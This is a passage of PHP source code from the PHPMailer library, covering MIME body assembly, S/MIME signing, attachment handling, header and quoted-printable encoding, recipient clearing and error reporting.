                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
